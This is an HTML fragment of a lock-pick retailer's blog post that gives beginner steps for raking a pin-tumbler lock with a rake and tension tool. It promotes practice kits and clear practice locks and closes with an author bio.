margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRLP86Dhjk34vcsdR4Hd2BFBK-z8QTdaeEG1mXTFnnzYDxy9E1eMns00m9syj0lw7pDbvtk1uhY3HCXvgTDS_ryNyxfGiMMD0IDlaXKXpXSC7ruN4HiHhCK00AoX2nU3ecE5e0OlDx6oHK/s1600/Rake-300x128.png" /></a><li class="li1"><span class="s1">Insert the rake into the lock and make sure you are past the last pin. I like to push all the pins up so I can feel where the rake is placed in the lock. If you do not have a rake, one can be purchased from <a href="http://www.bumpmylock.com/search.php?search_query=rake&x=-1274&y=-43#oid=1001_1" rel="nofollow" target="_blank"><span class="s2">Bump My Lock </span></a></span></li><li class="li1"><span class="s1">Insert the tension tool into the lock not to obstruct the rake. </span></li><li class="li1"><span class="s1">Apply sight pressure on the tension tool in the direction you want to open the lock. This is the most difficult step in the process and will take some time to learn the right amount of tension. When teaching I like to use a rubber band on the end of the tension tool and pull just to when the rubber band starts to stretch.</span></li><li class="li1"><span class="s1">Try not and touch the walls of the keyway and pull the rake straight out in one solid fast motion.</span></li><li class="li1"><span class="s1">If the lock does not open on the first try don't fret, insert the rake again, adjust your tension, and repeat the process.</span></li></ol><div class="p2"><br /><span class="s1"></span></div><div class="p1"><span class="s1">Even though this is a simple way of picking a lock it will still take a good deal of practice and time to learn the skills and movements involved. One great tool for learning how to pick locks is the <a href="http://www.bumpmylock.com/locksmith-school-in-a-box-beginner-to-pro-lock-picking-learning-system.html#oid=1001_1" rel="nofollow" target="_blank">Lock Pick School in a Box</a> and our Clear Practice Locks; both can be found <a href="http://www.bumpmylock.com/#oid=1001_1" rel="nofollow" target="_blank">here</a>.</span></div><div class="p1"><span class="s1"><br /></span></div><div class="separator" style="clear: both; text-align: center;"><a href="http://www.bumpmylock.com/locksmith-school-in-a-box-beginner-to-pro-lock-picking-learning-system.html#oid=1001_1"><img border="0" height="320" src="http://cdn1.bigcommerce.com/server1900/vca8qna/products/1088/images/471/ST_23__95238.1350485139.1280.1280.jpg" width="320" /></a></div><div class="p1"><hr /><div style="text-align: right;"><div style="text-align: center;"><b>About the Author: </b></div><div style="text-align: center;"><b><br /></b></div></div><h4 style="background-color: white; border: 0px; clear: left; margin: 0px; padding: 0px 0px 7px; vertical-align: baseline;"><a href="http://www.bumpmylock.com/#oid=1001_1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="63" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj535fgTX3EZIc-jHObC1YFKPkfkTaZW0sBcEnmzoLkFvgOXhW8pKHdrejOZs7bey_IDy4UNjHV4ZMzCqPWaLDnZiz6Vu3tDgb4ELte5A0Y4EMwviIhJrqD0YjHEUgqrrqbJQXxlQyTjPAc/s320/BML_Logo_9.png" width="320" /></a><span style="font-family: AdelleBasic-Bold, serif;"><span style="font-size: 15px; font-weight: normal; line-height: 20px;">Clint Ditto is the owner of Bump My Lock, and an advanced lock picker who has successfully trained thousands of people the skills of lock picking for over a decade.</span></span></h4></div></div>

How To Pick A Lock - Lock Picking Basics

Lock picking is considered by some to be the original "hack" .  Long before computers there were locks and someone who wanted to ...

+ Read more »